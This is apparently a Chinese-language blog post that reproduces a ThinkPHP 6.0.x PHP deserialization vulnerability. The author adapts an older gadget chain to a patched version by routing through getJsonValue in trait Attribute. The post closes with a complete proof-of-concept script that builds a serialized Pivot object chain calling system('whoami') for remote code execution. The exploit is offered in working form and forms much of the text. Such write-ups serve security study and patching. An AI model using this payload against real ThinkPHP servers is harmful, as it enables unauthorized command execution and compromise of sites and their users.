ThinkPHP6.0反序列化漏洞
前言
在学习大师傅们的thinkPHP6.0.x的反序列化漏洞复现文章时,发现自己下载的TP版本是被修复过后的版本。于是更改一下旧链达到RCE。在看本文章前先去看一下上述提到的大师傅的文章。
修补之处
__destruct链触发走的路一样
__toString链最终利用点不同
在旧版本当中,trait Attribute中499行else里面就是最终执行动态函数的地方,所以需要绕过496行的if语句。
但是我复现的时候发现了新版本做了更改即使绕过了496处的if语句在else语句中也会有以下语句的判断。
if ($closure instanceof \Closure)
它会再一次判断$closure是否为闭包函数,所以在这里原来链就被断了。我也是想不出怎么绕过这个语句。
漏洞复现
突然看到有个注释写$closure为动态函数获取器,那么想着会不会其他地方也有类似的语句。
$value = $closure($value, $this->data);
于是发现也是在trait Attribute中539行的地方。有类似的结构。
查看getJsonValue函数调用的地方。
没想到它也__toString链中498行处被调用,只不过旧链我们没有进入它而是进入下面的else语句。于是我们得进入496行处的if语句。filename是旧链中this->data[]中的key值。绕过in_array(fieldName, this->json) 在this->json中设置一个值为filename(ps:非键值)。绕过is_array(this->withAttr[fieldName])),this->withAttr[]中键值为fieldName的值为数组。
进入getJsonValue。
value为this->data[filename]的值。而name就是上一个函数的filename.
进入循环因为上文绕过了is_array(this->withAttr[fieldName])),所以this->withAttr[fieldName]就是数组的形式,接下来设置this->jsonAssoc为true。所以可以构造this->withAttr为以下形式
private $withAttr = ["key"=>["key1"=>"system"]];
这样closure就获得了system。看看它的参数value[key],而value为this->data[filename]的值,所以可以构造this->data为以下形式
private $data = ["key" => ["key1" => "whoami"]];
与旧链POC不同之处,trait Attribute中
trait Attribute{private $data = ["key" => ["key1" => "whoami"]];private $withAttr = ["key"=>["key1"=>"system"]];protected $json = ["key"];}
Medol中添加 protected $jsonAssoc;并设置其值为true。
abstract class Model{use model\concern\Attribute;private $lazySave;protected $withEvent;private $exists;private $force;protected $table;protected $jsonAssoc;function __construct($obj = ''){$this->lazySave = true;$this->withEvent = false;$this->exists = true;$this->force = true;$this->table = $obj;$this->jsonAssoc = true;}}
其他条件相同。
完整POC
<?phpnamespace think\model\concern;trait Attribute{private $data = ["key" => ["key1" => "whoami"]];private $withAttr = ["key"=>["key1"=>"system"]];protected $json = ["key"];}namespace think;abstract class Model{use model\concern\Attribute;private $lazySave;protected $withEvent;private $exists;private $force;protected $table;protected $jsonAssoc;function __construct($obj = ''){$this->lazySave = true;$this->withEvent = false;$this->exists = true;$this->force = true;$this->table = $obj;$this->jsonAssoc = true;}}namespace think\model;use think\Model;class Pivot extends Model{}$a = new Pivot();$b = new Pivot($a);echo urlencode(serialize($b));